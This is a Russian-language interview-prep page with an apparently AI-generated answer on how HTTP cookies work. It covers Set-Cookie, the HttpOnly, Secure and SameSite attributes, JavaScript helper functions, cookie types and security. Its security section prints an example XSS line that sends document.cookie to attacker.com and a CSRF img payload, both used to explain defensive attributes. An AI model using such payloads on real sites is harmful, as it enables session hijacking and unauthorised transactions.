← Назад к вопросам

Как работает механизм Cookie?

1.7 Middle🔥 191 комментариев
#Браузер и сетевые технологии

Комментарии (1)

🐱
claude-haiku-4.5PrepBro AI3 апр. 2026 г.(ред.)

Ответ сгенерирован нейросетью и может содержать ошибки

Что такое Cookie

Cookie (печенье) — это небольшие текстовые файлы, которые браузер сохраняет на компьютере пользователя и отправляет серверу с каждым HTTP запросом. Они используются для хранения информации о пользователе, аутентификации, отслеживания и персонализации.

Как Cookie работают

1. Сервер отправляет Cookie

Когда сервер отправляет ответ клиенту, он включает заголовок Set-Cookie:

// HTTP ответ сервера
HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; Path=/; Max-Age=3600; HttpOnly; Secure; SameSite=Strict
Content-Type: application/json

2. Браузер сохраняет Cookie

Браузер автоматически сохраняет этот cookie и при каждом следующем запросе на тот же домен отправляет его в заголовке Cookie:

// HTTP запрос клиента
GET /api/profile HTTP/1.1
Host: example.com
Cookie: sessionId=abc123

Атрибуты Cookie

Основные атрибуты

// Устанавливаем cookie со всеми атрибутами
Set-Cookie: name=value; 
  Path=/;                    // Путь, где доступна cookie
  Domain=example.com;        // Домен
  Max-Age=3600;             // Время жизни в секундах
  Expires=Wed, 02 Apr 2025 12:00:00 GMT;  // Дата истечения
  HttpOnly;                 // Недоступна из JavaScript
  Secure;                   // Только через HTTPS
  SameSite=Strict;          // Защита от CSRF

Важные атрибуты

HttpOnly — критически важный атрибут для безопасности. Если установлен, cookie недоступна из JavaScript:

// Если HttpOnly НЕ установлен, можно читать/писать
document.cookie = 'sessionId=abc123; Path=/';  // Доступно
console.log(document.cookie);  // sessionId=abc123

// Если HttpOnly установлен, JavaScript не видит cookie
// document.cookie; // sessionId НЕ будет видна!

Secure — гарантирует, что cookie отправляется только через HTTPS:

// Обычный HTTP — cookie НЕ отправляется
http://example.com  // Cookie не включена

// HTTPS — cookie отправляется
https://example.com  // Cookie включена

SameSite — защита от атак CSRF (Cross-Site Request Forgery):

// Strict: cookie отправляется только для запросов с того же сайта
SameSite=Strict  // Самая безопасная

// Lax: cookie отправляется для навигации (GET), но не для POST из других сайтов
SameSite=Lax     // По умолчанию

// None: cookie отправляется везде (требует Secure)
SameSite=None; Secure  // Для кроссдоменных запросов

Работа с Cookie в JavaScript

Установка Cookie

// Простая установка
document.cookie = 'username=John';

// С атрибутами
const setCookie = (name, value, days = 7) => {
  const date = new Date();
  date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
  const expires = 'expires=' + date.toUTCString();
  
  document.cookie = `${name}=${value}; ${expires}; Path=/`;
};

setCookie('username', 'John', 7);  // Cookie на 7 дней

Чтение Cookie

// Все cookies в виде строки
console.log(document.cookie);  // 'username=John; theme=dark'

// Функция для получения конкретной cookie
const getCookie = (name) => {
  const nameEQ = name + '=';
  const cookies = document.cookie.split(';');
  
  for (let cookie of cookies) {
    cookie = cookie.trim();
    if (cookie.indexOf(nameEQ) === 0) {
      return cookie.substring(nameEQ.length);
    }
  }
  return null;
};

const username = getCookie('username');  // 'John'

Удаление Cookie

// Удаляем, установив Max-Age в 0
const deleteCookie = (name) => {
  document.cookie = `${name}=; Max-Age=0; Path=/`;
};

deleteCookie('username');

Типы Cookie

Session Cookie

// Без атрибута Expires/Max-Age
// Удаляется при закрытии браузера
Set-Cookie: sessionId=abc123; Path=/; HttpOnly

Persistent Cookie

// С атрибутом Expires
// Хранится на диске до указанной даты
Set-Cookie: userId=123; Expires=Wed, 02 Apr 2026 12:00:00 GMT; Path=/

Безопасность Cookie

Уязвимости

// XSS атака — злоумышленник получает доступ к cookie
// (если HttpOnly не установлен)
fetch('https://attacker.com/steal?cookie=' + document.cookie);

// CSRF атака — браузер автоматически отправляет cookie
// Форма на другом сайте отправляет запрос от вашего имени
<img src="https://bank.com/transfer?to=attacker&amount=1000" />

Защита

// 1. Используй HttpOnly
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

// 2. Используй Secure для HTTPS
Set-Cookie: sessionId=abc123; Secure

// 3. Ограничь SameSite
Set-Cookie: sessionId=abc123; SameSite=Strict

// 4. Используй токены вместо cookies
// Хранишь JWT в памяти или localStorage (если нет чувствительных данных)
const token = localStorage.getItem('accessToken');
fetch('/api/profile', {
  headers: { 'Authorization': 'Bearer ' + token }
});

Cookies vs LocalStorage/SessionStorage

// Cookie
- Автоматически отправляются с каждым запросом
- Ограничение размера: 4KB
- Может быть установлена сервером или клиентом
- Поддержка атрибутов (HttpOnly, Secure, SameSite)

// LocalStorage/SessionStorage
- Отправляются только при явном запросе
- Больше памяти: ~5MB
- Только клиентское хранилище
- Доступны из JavaScript (уязвимы к XSS)

// Для безопасных данных (сессия, token) -> Cookie с HttpOnly
// Для публичных данных (тема, язык) -> LocalStorage

Владение механизмом cookie критично для разработки безопасных приложений и понимания веб-безопасности.